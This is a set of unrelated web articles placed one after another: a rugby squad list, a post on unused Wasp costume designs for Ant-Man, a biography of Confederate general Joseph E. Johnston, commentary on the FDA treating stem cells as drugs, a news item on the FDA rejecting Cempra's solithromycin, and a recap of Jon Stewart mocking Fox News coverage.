Dan Parry, Tom Hiscock, David Bishop, Terri Gee; Dean Gunter, Rhys Downes; James Howe, Rhys Williams, Gary Powell; Craig Locke, Miles Normandale; Tom Daley, Osian Davies, Phil Rees  Replacements: Rhys James, Meurig Davies, Gary Way, Ben Murphy, Andy Powell, Martin Luckwell, Cameron Gardner, Adam Hoskins
-We don’t see much of The Wasp in Ant-Man (much to some people’s chagrin), but we might have seen a different side of her had the costume designers gone with their original vision for her.  As seen in a YouTube video posted by Parka Blogs, the coffee table book The Art of Ant-Man contains a page featuring alternative designs for The Wasp’s look. And girl looks pretty fly in all of them. Just look at those wings in the last two!  In the comics, we’re used to seeing The Wasp with, well, wasp-like coloring of yellow and black. But the behind-the-scenes team on the movie seems to be set on her rocking red and black, much like her pal Ant-Man (and unlike Yellowjacket). The question is what was it about these variant designs that made them not worthy of the final cut of the movie?  They could have looked great on Janet or Hope, right?  (via SlashFilm)  —Please make note of The Mary Sue’s general comment policy.—  Do you follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google +?
-This article is about the Confederate general. For people with similar names, see Joseph Johnston (disambiguation)  Joseph Eggleston Johnston (February 3, 1807 – March 21, 1891) was a career United States Army officer, serving with distinction in the Mexican–American War (1846–1848), and Seminole Wars. After Virginia seceded, he entered the Confederate States Army as one of the most senior general officers. (He was unrelated to Confederate general Albert Sidney Johnston, who was killed in early 1862.)  Johnston was trained as a civil engineer at the United States Military Academy at West Point, New York, graduating in the same class as Robert E. Lee. He served in Florida, Texas, and Kansas. By 1860 he achieved the rank of brigadier general as Quartermaster General of the U.S. Army.  Johnston's effectiveness in the American Civil War was undercut by tensions with Confederate president Jefferson Davis. Victory eluded him in most campaigns he personally commanded. He was the senior Confederate commander at the First Battle of Bull Run in July 1861, but the victory is usually credited to his subordinate, P.G.T. Beauregard. Johnston defended the Confederate capital of Richmond, Virginia, during the 1862 Peninsula Campaign, withdrawing under the pressure of Union Maj. Gen. George B. McClellan's superior force. He suffered a severe wound at the Battle of Seven Pines, and was replaced by Robert E. Lee.  In 1863, in command of the Department of the West, Johnston was criticized for his inaction and failure[1] in the Vicksburg Campaign. In 1864, he fought against Union Maj. Gen. William Tecumseh Sherman in the Atlanta Campaign. Facing an enemy with a massive numerical advantage, Johnston maneuvered to avoid having his forces surrounded or cut off from Atlanta, while looking for a chance to make a decisive stand that would turn back the tide. Although he successfully repulsed Sherman's attempt to defeat him through direct assault at the Battle of Kennesaw Mountain, he was ultimately outflanked again forced to withdraw from northwest Georgia to the outskirts of Atlanta. Fed up with Johnston's constant withdrawal from Confederate territory, Davis relieved him of command and replaced him with John Bell Hood. In the final days of the war, Johnston was returned to command of the few remaining forces in the Carolinas Campaign. He surrendered his armies to Sherman at Bennett Place near Durham Station, North Carolina on April 26, 1865. Union generals Ulysses S. Grant and Sherman both praised his actions in the war, and became friends with Johnston afterward.  After the war, Johnston served as an executive in the railroad and insurance businesses. He was elected as a Democrat in the United States House of Representatives, serving a single term. He was appointed as commissioner of railroads under Grover Cleveland. He died of pneumonia.  Early years [ edit ]  Johnston was born at Longwood House in "Cherry Grove", near Farmville, Virginia on February 3, 1807. (Longwood House later burned down. The rebuilt house was the birthplace in 1827 of Charles S. Venable, an officer on the staff of Robert E. Lee. It is now used as the residence of the president of Longwood University.) His grandfather, Peter Johnston, emigrated to Virginia from Scotland in 1726. Joseph was the seventh son of Judge Peter Johnston (1763–1831) and Mary Valentine Wood (1769–1825), a niece of Patrick Henry. He was named for Major Joseph Eggleston, under whom his father served in the American Revolutionary War, in the command of Light-Horse Harry Lee. His brother Charles Clement Johnston served as a congressman, and his nephew John Warfield Johnston was a senator; both represented Virginia. In 1811, the Johnston family moved to Abingdon, Virginia, a town near the Tennessee border, where his father Peter built a home he named Panecillo.[2]  Johnston attended the United States Military Academy, nominated by John C. Calhoun in 1825 while he was Secretary of War. He was moderately successful at academics and received only a small number of disciplinary demerits. He graduated in 1829, ranking 13th of 46 cadets, and was appointed a second lieutenant in the 4th U.S. Artillery.[3] He would become the first West Point graduate to be promoted to a general officer in the regular army, reaching a higher rank in the U.S. Army than did his 1829 classmate, Robert E. Lee (2nd of 46).[4]  U.S. Army service [ edit ]  Johnston resigned from the Army in March 1837 and studied civil engineering.[3] During the Second Seminole War, he was a civilian topographic engineer aboard a ship led by William Pope McArthur. On January 12, 1838, at Jupiter, Florida, the sailors who had gone ashore were attacked. Johnston said there were "no less than 30 bullet holes" in his clothing and one bullet creased his scalp, leaving a scar he had for the rest of his life. Having encountered more combat activities in Florida as a civilian than he had previously as an artillery officer, Johnston decided to rejoin the Army. He departed for Washington, D.C., in April 1838 and was appointed a first lieutenant of topographic engineers on July 7; on that same day, he received a brevet promotion to captain for the actions at Jupiter Inlet and his explorations of the Florida Everglades.[5]  On July 10, 1845, in Baltimore, Johnston married Lydia Mulligan Sims McLane (1822–1887), the daughter of Louis McLane and his wife. Her father was the president of the Baltimore and Ohio Railroad, a prominent politician (congressman and senator from Delaware, minister to London, and a member of President Andrew Jackson's cabinet). They had no children.[6]  Johnston was enthusiastic about the outbreak of the Mexican–American War. He served on the staff of Lt. Gen. Winfield Scott in the Siege of Veracruz, having been chosen by Scott to be the officer carrying the demand for surrender beforehand to the provincial governor. He was in the vanguard of the movement inland under Brig. Gen. David E. Twiggs and was severely wounded by grapeshot performing reconnaissance prior to the Battle of Cerro Gordo. He was appointed a brevet lieutenant colonel for his actions at Cerro Gordo. After recovering in a field hospital, he rejoined the army at Puebla. During the advance toward Mexico City, he was second in command of the "U.S. Regiment of Voltigeurs", a unit composed of light infantry or skirmishers. He distinguished himself at Contreras and Churubusco, was wounded again at Chapultepec, and received two brevet promotions for the latter two engagements, ending the war as a brevet colonel of volunteers. (After the end of hostilities, he reverted to his peacetime rank of captain in the topographical engineers.) Winfield Scott remarked humorously that "Johnston is a great soldier, but he had an unfortunate knack of getting himself shot in nearly every engagement." Johnston's greatest anguish during the war was the death of his nephew, Preston Johnston. When Robert E. Lee informed Johnston that Preston had been killed by a Mexican artillery shell at Contreras, both officers wept, and Johnston grieved for the remainder of his life.[7]  Johnston was an engineer on the Texas-United States boundary survey in 1841; he returned to the area, appointed as chief topographical engineer of the Department of Texas, and serving from 1848 to 1853.[8] During the 1850s he sought his previous rank, sending letters to the War Department suggesting that he should be returned to a combat regiment with his wartime rank of colonel. Secretary of War Jefferson Davis, an acquaintance of Johnston's from West Point, rebuffed these suggestions, as he did later during the Civil War, much to Johnston's irritation. Despite this disagreement, Davis thought enough of Johnston to appoint him lieutenant colonel in one of the newly formed regiments, the 1st U.S. Cavalry at Fort Leavenworth, Kansas, under Col. Edwin V. "Bull" Sumner, on March 1, 1855. (At this same time, Robert E. Lee was appointed lieutenant colonel of the 2nd U.S. Cavalry under Col. Albert Sidney Johnston (no relation).) In this role, Johnston participated in actions against the Sioux in the Wyoming Territory and in the violence over slavery in the future state, known as Bleeding Kansas. He developed a mentor relationship and close friendship with one of his junior officers, Capt. George B. McClellan. Later McClellan faced him from the Union Army.[9]  In the fall of 1856, Johnston was transferred to a depot for new recruits at Jefferson Barracks, Missouri. In 1857 he led surveying expeditions to determine the Kansas border. Later that year, Davis was replaced as Secretary of War by John B. Floyd, a native of Abingdon and a cousin of Johnston's by marriage. He had been a former guardian of Preston Johnston. Floyd made Johnston a brevet colonel for his actions at Cerro Gordo, a promotion that caused grumbling within the Army about favoritism. In 1859, President James Buchanan named Johnston's brother-in-law, Robert McLane, as minister to Mexico, and Johnston accompanied him on a journey to visit Benito Juárez's government in Veracruz. He was also ordered to inspect possible military routes across the country in case of further hostilities.[10]  Brig. Gen. Thomas S. Jesup, the Quartermaster General of the U.S. Army, died on June 10, 1860. Winfield Scott was responsible for naming a replacement, but instead of one name, he offered four possibilities: Albert Sidney Johnston, Joseph E. Johnston (no relation), Robert E. Lee, and Charles F. Smith. Although Jefferson Davis, now a member of the Senate Military Affairs Committee, favored Albert Sidney Johnston, Secretary of War Floyd chose Joseph E. Johnston for the position.  Johnston was promoted to brigadier general on June 28, 1860. Johnston did not enjoy the position, preferring field command to administration in Washington. In addition, he suffered from the pressures of the imminent sectional crisis and the ethical dilemma of administering war matériel that might prove useful to his native South. He did not yield to temptation, however, as Secretary of War Floyd was accused of doing.[11]  Civil War [ edit ]  Manassas and first friction with President Davis [ edit ]  When his native state, Virginia seceded from the Union in 1861, Johnston resigned his commission as a brigadier general in the regular army, the highest-ranking U.S. Army officer to do so. He would go on to state, " I believed like most others, that the division of the country would be permanent; and that ... the revolution begun was justified by the maxims so often repeated by Americans, that Free government is founded on the consent of the governed, and that every community strong enough to establish and maintain its independence, has a right to assert it. Having been educated in such opinions, I naturally determined to return to the State of which I was a native, join the people among whom I was born, and live with my kindred, and if necessary, fight in their defense."[12]  He was initially commissioned as a major general in the Virginia militia on May 4, but the Virginia Convention decided two weeks later that only one major general was required in the state army and Robert E. Lee was their choice. Johnston was then offered a state commission as a brigadier general, which he declined, accepting instead a commission as a brigadier general in the Confederate States Army on May 14. Johnston relieved Colonel Thomas J. "Stonewall" Jackson of command at Harpers Ferry in May and organized the Army of the Shenandoah in July.[13]  In the First Battle of Bull Run (First Manassas), July 21, 1861, Johnston rapidly moved his small army from the Shenandoah Valley to reinforce that of Brig. Gen. P. G. T. Beauregard, but he lacked familiarity with the terrain and ceded tactical planning of the battle to the more junior Beauregard as a professional courtesy. At midday, while Beauregard was still unclear about the direction his Union opponent was taking in the battle, Johnston decided that the critical point was to the north of his headquarters (the Lewis house, "Portici"), at Henry House Hill. He abruptly announced "The battle is there. I am going." Beauregard and the staffs of both generals followed his lead and rode off. Johnston encountered a scattered unit, the 4th Alabama, all of whose field grade officers had been killed, and personally rallied the men to reinforce the Confederate line. He consoled the despairing Brig. Gen. Barnard Bee and urged him to lead his men back into the fight. (General Bee's exhortation to his men was the inspiration for Stonewall Jackson's nickname.) Beauregard then convinced Johnston that he would be more valuable organizing the arrival of reinforcements for the remainder of the battle than providing at-the-front tactical leadership. Although Beauregard managed to claim the majority of public credit, Johnston's behind-the-scenes role was a critical factor in the Southern victory. After Bull Run, Johnston assisted Beauregard and William Porcher Miles in the design and production of the Confederate Battle Flag. It was Johnston's idea to make the flag square.[14]  It [the ranking of senior generals] seeks to tarnish my fair fame as a soldier and a man, earned by more than thirty years of laborious and perilous service. I had but this, the scars of many wounds, all honestly taken in my front and in the front of battle, and my father's Revolutionary sword. It was delivered to me from his venerated hand, without a stain of dishonor. Its blade is still unblemished as when it passed from his hand to mine. I drew it in the war, not for rank or fame, but to defend the sacred soil, the homes and hearths, the women and children; aye, and the men of my mother Virginia, my native South. —Johnston's letter to Jefferson Davis, September 12, 1861 [15]  In August, Johnston was promoted to full general—what is called a four-star general in the modern U.S. Army—but was not pleased that three other men he had outranked in the "old Army" now outranked him, even though Davis backdated his promotion to July 4. Johnston felt that since he was the senior officer to leave the U.S. Army and join the Confederacy he should not be ranked behind Samuel Cooper, Albert Sidney Johnston, and Robert E. Lee. Only Beauregard was placed behind Johnston on the list of five new generals. This led to much bad blood between Johnston and Jefferson Davis, which would last throughout the war. The crux of Davis's counterargument was that Johnston's U.S. commission as a brigadier general was as a staff officer and that his highest line commission was as a lieutenant colonel; both Sidney Johnston and Lee had been full colonels. Johnston sent an intemperately worded letter to Davis, who was offended enough to discuss its tone with his cabinet.[16]  Johnston was placed in command of the Department of the Potomac and the Confederate Army of the Potomac on July 21, 1861, and the Department of Northern Virginia on October 22. From July to November 1861, he was headquartered at the Conner House in Manassas.[17] The winter of 1861–62 was relatively quiet for Johnston in his Centreville headquarters, concerned primarily with organization and equipment issues, as the principal Northern army, also named Army of the Potomac, was being organized by George B. McClellan. McClellan perceived Johnston's army as overwhelmingly strong in its fortifications, which prompted the Union general to plan an amphibious movement around Johnston's flank. In early March, learning of Union offensive preparations, Johnston withdrew his army to Culpeper Court House. This movement had repercussions on both sides. President Davis was surprised and disappointed by the unannounced move, which he considered a "precipitate retreat." At about this time, Davis moved to restrict Johnston's authority by bringing Robert E. Lee to Richmond as his military adviser and began issuing direct orders to some of the forces under Johnston's ostensible command. On the Northern side, McClellan was publicly embarrassed when it was revealed that the Confederate position had not been nearly as strong as he had portrayed. But more importantly, it required him to replan his spring offensive, and instead of an amphibious landing at his preferred target of Urbanna, he chose the Virginia Peninsula, between the James and York Rivers, as his avenue of approach toward Richmond.[18]  Peninsula Campaign [ edit ]  In early April 1862, McClellan, having landed his troops at Fort Monroe at the tip of the Virginia Peninsula, began to move slowly toward Yorktown. Johnston's plan for the defense of the Confederate capital was controversial. Knowing that his army was half the size of McClellan's and that the Union Navy could provide direct support to McClellan from either river, Johnston attempted to convince Davis and Lee that the best course would be to concentrate in fortifications around Richmond. He was unsuccessful in persuading them and deployed most of his force on the Peninsula. Following lengthy siege preparations by McClellan at Yorktown, Johnston withdrew and fought a sharp defensive fight at Williamsburg (May 5) and turned back an attempt at an amphibious turning movement at Eltham's Landing (May 7). By late May the Union army was within six miles of Richmond.[19]  Realizing that he could not defend Richmond forever from the Union's overwhelming numbers and heavy siege artillery and that McClellan's army was divided by the rain-swollen Chickahominy River, Johnston attacked south of the river on May 31 in the Battle of Seven Pines or Fair Oaks. His plan was aggressive, but too complicated for his subordinates to execute correctly, and he failed to ensure they understood his orders in detail or to supervise them closely. The battle was tactically inconclusive, but it stopped McClellan's advance on the city and would turn out to be the high-water mark of his invasion. More significant, however, was that Johnston was wounded in his shoulder and chest by an artillery shell fragment near the end of the first day of the battle.[20] G.W. Smith commanded the army during the second day of the battle, before Davis quickly turned over command to the more aggressive Robert E. Lee, who would lead the Army of Northern Virginia for the rest of the war. Lee began by driving McClellan from the Peninsula during the Seven Days Battles of late June and beating a Union army a second time near Bull Run in August.[21]  Appointment to the Western Theater and Vicksburg [ edit ]  Johnston was prematurely discharged from hospital on November 24, 1862, and appointed to command the Department of the West, the principal command of the Western Theater, which gave him titular control of Gen. Braxton Bragg's Army of Tennessee and Lt. Gen. John C. Pemberton's Department of Mississippi and East Louisiana. (The other major force in this area was the Trans-Mississippi Department, commanded by Lt. Gen. Theophilus H. Holmes, stationed principally in Arkansas. Johnston argued throughout his tenure that Holmes's command should be combined with Pemberton's under Johnston's control, or at least to reinforce Pemberton with troops from Holmes's command, but he was unable to convince the government to take either of these steps.)[22]  The first issue facing Johnston in the West was the fate of Braxton Bragg. The Confederate government was displeased with Bragg's performance at the Battle of Stones River, as were many of Bragg's senior subordinates. Jefferson Davis ordered Johnston to visit Bragg and determine whether he should be replaced. Johnston realized that if he recommended Bragg's replacement, he would be the logical choice to succeed him, and he considered that a field army command was more desirable than his current, mostly administrative post, but his sense of honor prevented him from achieving this personal gain at Bragg's expense. After interviewing Bragg and a number of his subordinates, he produced a generally positive report and refused to relieve the army commander. Davis ordered Bragg to a meeting in Richmond and designated Johnston to take command in the field, but Bragg's wife was ill and he was unable to travel. Furthermore, in early April Johnston was forced to bed with lingering problems from his Peninsula wound, and the attention of the Confederates shifted from Tennessee to Mississippi, leaving Bragg in place.[23]  The major crisis facing Johnston was defending Confederate control of Vicksburg, Mississippi, which was threatened by Union Maj. Gen. Ulysses S. Grant, first in a series of unsuccessful maneuvers during the winter of 1862–63 to the north of the fortress city, but followed in April 1863 with an ambitious campaign that began with Grant's Union army crossing the Mississippi River southwest of Vicksburg. Catching Lt. Gen. Pemberton by surprise, the Union army waged a series of successful battles as it moved northeast toward the state capital of Jackson. On May 9, the Confederate Secretary of War directed Johnston to "proceed at once to Mississippi and take chief command of the forces in the field." Johnston informed Richmond that he was still medically unfit, but would obey the order. When he arrived in Jackson on May 13 from Middle Tennessee, he learned that two Union army corps were advancing on the city and that there were only about 6,000 troops available to defend it. Johnston ordered a fighting evacuation (the Battle of Jackson, May 14) and retreated with his force to the north. Grant captured the city and then faced to the west to approach Vicksburg.[24]  Johnston began to move his force west to join Pemberton when he heard of that general's defeat at Champion Hill (May 16) and Big Black River Bridge (May 17). The survivors retreated to the fortifications of Vicksburg. Johnston urged Pemberton to avoid being surrounded by abandoning the city and to join forces with Johnston's troops, outnumbering Grant, but Davis had ordered Pemberton to defend the city as his highest priority. Grant launched two unsuccessful assaults against the fortifications and then settled in for a siege. The soldiers and civilians in the surrounded city waited in vain for Johnston's small force to come to their rescue. By late May Johnston had accumulated about 24,000 men but wanted additional reinforcements before moving forward. He considered ordering Bragg to send these reinforcements, but was concerned that this could result in the loss of Tennessee. He also bickered with President Davis about whether the order sending him to Mississippi could be construed as removing him from theater command; historian Steven E. Woodworth judges that Johnston "willfully misconstrued" his orders out of resentment of Davis's interference. Pemberton's army surrendered on July 4, 1863. Along with the capture of Port Hudson a week later, the loss of Vicksburg gave the Union complete control of the Mississippi River and cut the Confederacy in two. President Davis wryly ascribed the strategic defeat to a "want of provisions inside and a general outside [Johnston] who would not fight."[25]  The relationship between Johnston and Davis, difficult since the early days of the war, became bitter as recriminations were traded publicly about who was to blame for Vicksburg. Davis considered firing Johnston, but he remained a popular officer and had many political allies in Richmond, most notably Sen. Louis Wigfall. Instead, Bragg's army was removed from Johnston's command, leaving him in control of only Alabama and Mississippi.[26]  The President detests Joe Johnston for all the trouble he has given him, and General Joe returns the compliment with compound interest. His hatred of Jeff Davis amounts to a religion. With him it colors all things. —Diarist Mary Chesnut[27]  While Vicksburg was falling, Union Maj. Gen. William S. Rosecrans was advancing against Bragg in Tennessee, forcing him to evacuate Chattanooga. Bragg achieved a significant victory against Rosecrans in the Battle of Chickamauga (September 19–20), but he was defeated by Ulysses S. Grant in the Battles for Chattanooga in November. Bragg resigned from his command of the Army of Tennessee and returned to Richmond in the role as military adviser to the president. Davis offered the position to William J. Hardee, the senior corps commander, who refused it. He considered P.G.T. Beauregard, another general with whom he had poor personal relations, and also Robert E. Lee. Lee, who was reluctant to leave Virginia, first recommended Beauregard, but sensing Davis's discomfort, changed his recommendation to Johnston. After much agonizing, Davis appointed Johnston to command the Army of Tennessee in Dalton, Georgia, on December 27, 1863.[28]  Atlanta Campaign [ edit ]  The Atlanta Campaign from Dalton to Kennesaw Mountain  Faced with Maj. Gen. William T. Sherman's advance from Chattanooga to Atlanta in the spring of 1864, Johnston conducted a series of withdrawals that appeared similar to his Peninsula Campaign strategy. He repeatedly prepared strong defensive positions, only to see Sherman maneuver around them in expert turning movements, causing him to fall back in the general direction of Atlanta. Johnston saw the preservation of his army as the most important consideration, and hence conducted a very cautious campaign. He handled his army well, slowing the Union advance and inflicting heavier losses than he sustained.  Sherman began his Atlanta Campaign on May 4. Johnston's Army of Tennessee fought defensive battles against the Federals at the approaches to Dalton, which was evacuated on May 13, then retreated 12 miles south to Resaca, and constructed defensive positions. However, after a brief battle, Johnston again yielded to Sherman, and retreated from Resaca on May 15. Johnston assembled the Confederate forces for an attack at Cassville.[29] As his troops advanced, an enemy force of unknown strength appeared unexpectedly on his right flank. A skirmish ensued, forcing the corps commander, Lt. Gen. John Bell Hood, to halt his advance and reposition his troops to face the threat. Faced with this unexpected threat, Johnston abandoned his attack and renewed his retreat. On May 20 they again retreated 8 miles further south to Cartersville. The month of May 1864 ended with Sherman's forces attempting to move away from their railroad supply line with another turning movement, but became bogged down by the Confederates' fierce defenses at the Battle of New Hope Church on May 25, the Battle of Pickett's Mill on May 27, and the Battle of Dallas on May 28.[30]  In June Sherman's forces continued maneuvers around the northern approaches to Atlanta, and a battle ensued at Kolb's Farm on June 22, followed by Sherman's first (and only) attempt at a massive frontal assault in the Battle of Kennesaw Mountain on June 27, which Johnston strongly repulsed. However, by this time Federal forces were within 17 miles of Atlanta, threatening the city from the west and north. Johnston had yielded over 110 miles of mountainous, and thus more easily defensible, territory in just two months, while the Confederate government became increasingly frustrated and alarmed. When Johnston retreated across the Chattahoochee River, the final major barrier before Atlanta, President Davis lost his patience.[31]  In early July, Davis sent Gen. Braxton Bragg to Atlanta to assess the situation. After several meetings with local civilian leaders and Johnston's subordinates, Bragg returned to Richmond and urged President Davis to replace Johnston. Davis removed Johnston from command on July 17, 1864, just outside Atlanta. "The fate of Atlanta, from the Confederate standpoint, was all but decided by Johnston."[32] (His replacement, Lt. Gen. Hood, was left with the "virtually impossible situation" of defending Atlanta [33] which he was forced to abandon in September.) Davis's decision to remove Johnston was one of the most controversial of the war.[34]  North Carolina and surrender at Bennett Place [ edit ]  Johnston traveled to Columbia, South Carolina, to begin a virtual retirement. However, as the Confederacy became increasingly concerned about Sherman's March to the Sea across Georgia and then north through the Carolinas, the public clamored for Johnston's return. The general in charge of the Western Theater, P.G.T. Beauregard, was making little progress against the advancing Union force. Political opponents of Jefferson Davis, such as Sen. Louis Wigfall, added to the pressure in Congress. Diarist Mary Chesnut wrote, "We thought this was a struggle for independence. Now it seems it is only a fight between Joe Johnston and Jeff Davis." In January 1865, the Congress passed a law authorizing Robert E. Lee the powers of general in chief, and recommending that Johnston be reinstated as the commander of the Army of Tennessee. Davis immediately appointed Lee to the position, but refused to restore Johnston. In a lengthy unpublished memo, Davis wrote, "My opinion of General Johnston's unfitness for command has ripened slowly and against my inclinations into a conviction so settled that it would be impossible for me again to feel confidence in him as the commander of an army in the field."[35] Vice President Alexander H. Stephens and 17 senators petitioned Lee to use his new authority to appoint Johnston, bypassing Davis, but the general in chief declined. Instead, he recommended the appointment to Davis.[36]  Despite his serious misgivings, Davis restored Johnston to active duty on February 25, 1865. His new command comprised two military departments: the Department of South Carolina, Georgia, and Florida, and the Department of North Carolina and Southern Virginia; he assumed command of the latter department on March 6. These commands included three Confederate field armies, including the remnants of the once formidable Army of Tennessee, but they were armies in name only. The Tennessee army had been severely depleted at Franklin and Nashville, lacked sufficient supplies and ammunition, and the men had not been paid for months; only about 6,600 traveled to South Carolina. Johnston also had available 12,000 men under William J. Hardee, who had been unsuccessfully attempting to resist Sherman's advance, Braxton Bragg's force in Wilmington, North Carolina, and 6,000 cavalrymen under Wade Hampton.[37]  Johnston, severely outnumbered, hoped to combine his force with a detachment of Robert E. Lee's army from Virginia, jointly defeat Sherman, and then return to Virginia for an attack on Ulysses S. Grant. Lee initially refused to cooperate with this plan. (Following the fall of Richmond in April, Lee attempted to escape to North Carolina to join Johnston, but it was too late.) Recognizing that Sherman was moving quickly, Johnston then planned to consolidate his own small armies so that he could land a blow against an isolated portion of Sherman's army, which was advancing in two separated columns. On March 19, 1865, Johnston was able to catch the left wing of Sherman's army by surprise at the Battle of Bentonville and briefly gained some tactical successes before superior numbers forced him to retreat to Raleigh, North Carolina. Unable to secure the capital, Johnston's army withdrew to Greensboro.[38]  The surrender of Gen. Joe Johnston - Currier & Ives lithograph  After learning of Lee's surrender at Appomattox Court House on April 9, Johnston agreed to meet with General Sherman between the lines at a small farm known as Bennett Place near present-day Durham, North Carolina. After three separate days (April 17, 18, and 26, 1865) of negotiations, Johnston surrendered the Army of Tennessee and all remaining Confederate forces still active in North Carolina, South Carolina, Georgia, and Florida. It was the largest surrender of the war, totaling 89,270 soldiers. President Davis considered that Johnston, surrendering so many troops that had not been explicitly defeated in battle, had committed an act of treachery. Johnston was paroled on May 2 at Greensboro.[39]  After the surrender, Sherman issued ten days' rations to the hungry Confederate soldiers, as well as horses and mules for them to "insure a crop." He also ordered distribution of corn, meal, and flour to civilians throughout the South. This was an act of generosity that Johnston would never forget; he wrote to Sherman that his attitude "reconciles me to what I have previously regarded as the misfortune of my life, that of having you to encounter in the field."[40]  Postwar years [ edit ]  Johnston struggled to make a living for himself and his wife, who was ailing. He became president of a small railroad, the Alabama and Tennessee River Rail Road Company, which during his tenure of May 1866 to November 1867, was renamed the Selma, Rome and Dalton Railroad. Johnston was bored with the position and the company failed for lack of capital. He established in 1868 an insurance company in Savannah, Georgia, acting as an agent for the Liverpool and London and Globe Insurance Company, and within four years had a network of more than 120 agents across the deep South.[41]  The income from this venture allowed him to devote time to his great postwar activity, writing his memoirs, as did several fellow officers. His Narrative of Military Operations (1874) was highly critical of Davis and many of his fellow generals. He repeated his grievance about his ranking as a general in the Confederate Army and attempted to justify his career as a cautious campaigner. The book sold poorly and its publisher failed to make a profit.[41]  Although many Confederate generals criticized Johnston, both Sherman and Grant portrayed him favorably in their memoirs. Sherman described him as a "dangerous and wily opponent" and criticized Johnston's nemeses, Hood and Davis. Grant supported his decisions in the Vicksburg Campaign: "Johnston evidently took in the situation, and wisely, I think, abstained from making an assault on us because it would simply have inflicted losses on both sides without accomplishing any result." Commenting on the Atlanta Campaign, Grant wrote,  For my own part, I think that Johnston's tactics were right. Anything that could have prolonged the war a year beyond the time that it finally did close, would probably have exhausted the North to such an extent that they might then have abandoned the contest and agreed to a settlement.[42]  Johnston was a part owner of the Atlantic and Mexican Gulf Canal Company, a canal project approved in 1876. It was intended to construct a canal westward from the St. Marys River in Georgia to connect with the Gulf of Mexico on the coast of Florida.[43]  Johnston moved from Savannah to Richmond in the winter of 1876–77. He served in the 46th Congress from 1879 to 1881 as a Democratic congressman, having been elected with 58.11% of the vote over Greenback William W. Newman. He did not run for renomination in 1880. He was appointed as a commissioner of railroads in the administration of President Grover Cleveland. After his wife died in 1887, Johnston frequently traveled to veterans' gatherings, where he was universally cheered.[44] In September 1890, a few months before he died, he was elected as an honorary member of the District of Columbia Society of the Sons of the American Revolution, and was assigned national membership number 1963.  Johnston, like Lee, never forgot the magnanimity of the man to whom he surrendered. He would not allow criticism of Sherman in his presence. Sherman and Johnston corresponded frequently, and they met for friendly dinners in Washington whenever Johnston traveled there. When Sherman died, Johnston served as an honorary pallbearer at his funeral. During the procession in New York City on February 19, 1891, he kept his hat off as a sign of respect, although the weather was cold and rainy. Someone concerned for his health asked him to put on his hat, to which Johnston replied, "If I were in his place and he were standing here in mine, he would not put on his hat." He caught a cold that day, which developed into pneumonia. Johnston died several weeks later in Washington, D.C. He was buried next to his wife in Green Mount Cemetery, Baltimore, Maryland.[45]  Legacy [ edit ]  Johnston's personal papers are held by the Special Collections Research Center at the College of William & Mary.[46]  Joseph E. Johnston and Robert E. Lee in 1869–1870  Johnston statue in Dalton, Georgia, where he took command of the Army of Tennessee  Johnston statue at the location of the Battle of Bentonville, in North Carolina  Legacy and honors [ edit ]  Representation in other media [ edit ]  See also [ edit ]  Notes [ edit ]  References [ edit ]
-In recent court filings, the Food and Drug Administration has asserted that stem cells—you know, the ones our bodies produce naturally—are in fact drugs and subject to its regulatory oversight. So does that make me a controlled substance?  The bizarre controversy revolves around the FDA's attempt to regulate the Centeno-Schultz Clinic in Colorado that performs a nonsurgical stem-cell therapy called Regenexx-C. It is designed to treat moderate to severe joint, tendon, ligament, and bone pain using only adult stem cells. Doctors draw your blood, spin it through a centrifuge, extract the stem cells and re-inject them into your damaged joints. It uses no other drugs. No drugs means no FDA oversight and that does not sit well with the administration.  Advertisement  The FDA has since argued that a) stem cells are drugs and b) they fall under FDA regulation because the clinic is engaging in interstate commerce. That's right, a process performed at the clinic using the patient's own bodily fluids constitutes interstate commerce because, according to the administration, out-of-state patients using Regenexx-C would "depress the market for out-of-state drugs that are approved by FDA."  Funny, that sounds less like the FDA protecting the health of the country's citizens and more like the FDA defending its enforcement turf. The two parties have been at odds for over four years now, so we may have a while until we know if every American has in fact become a regulatable good subject to government regulation. [ANH-USA via Slash Gear]  Image via the AP
-Clinical-stage drug company Cempra Inc. CEMP, +0.15% said Thursday it has received a complete response letter from the U.S. Food and Drug Administration regarding its new drug applications (NDAs) for solithromycin, a treatment for community-acquired bacterial pneumonia. The letter says that the FDA cannot approve the NDAs in their current form and says the company must provide additional safety data and resolve unspecified issues with its manufacturing facility. "Based on their review of the NDAs, the CRL stated that the FDA determined the risk of hepatotoxicity had not been adequately characterized," the company said in a statement. The FDA said the size of the safety database -- 920 patients -- is too small to measure adverse effects, and is recommending a study of about 9,000 patients. The company said it will seek a meeting with the FDA to discuss the issues raised in the letter. "With more than $225 million of cash on hand, patent protection for solithromycin through 2032 and a pipeline that includes fusidic acid and other potential programs for solithromycin, including an ophthalmic formulation, we have flexibility to determine the best course forward for solithromycin and Cempra," Chief Executive David Zaccardelli said in the statement. Shares tumbled 28% premarket and are down 80% for the year through Wednesday, while the S&P 500 SPX, -0.08% has gained about 10%.  Have breaking news sent to your inbox. Subscribe to MarketWatch's free Bulletin emails. Sign up here.
-Jon Stewart highlighted Fox News' coverage from the past few days in politics on his show Thursday night, showing everything the network chose to cover rather than focusing on the economy, which correlates to voters leaning towards Barack Obama.  "I'm guessing you guys don't want to talk about the economy," Obama spokesman Bill Burton said to Gretchen Carlson on "Fox & Friends."  "Here's what Fox has been talking about just since Tuesday's debate," Stewart said, before showing clips of the following:  Megyn Kelly discussing voter fraud  Sean Hannity mentioning William Ayers  Megyn Kelly, Brian Kilmeade, and Steve Doocy discussing Newsweek's liberal bias  Sean Hannity mentioning Reverend Jeremiah Wright  Megyn Kelly referencing Obama's "deep secret ties" to the Kenyan government  "Fox & Friends" introducing country star Aaron Tippin's "Drill Here, Drill Now!"  and a collection of Bill Ayers clips, punctuated by Frank Luntz downplaying the results of a post-debate focus group that suggested Obama won the debate.
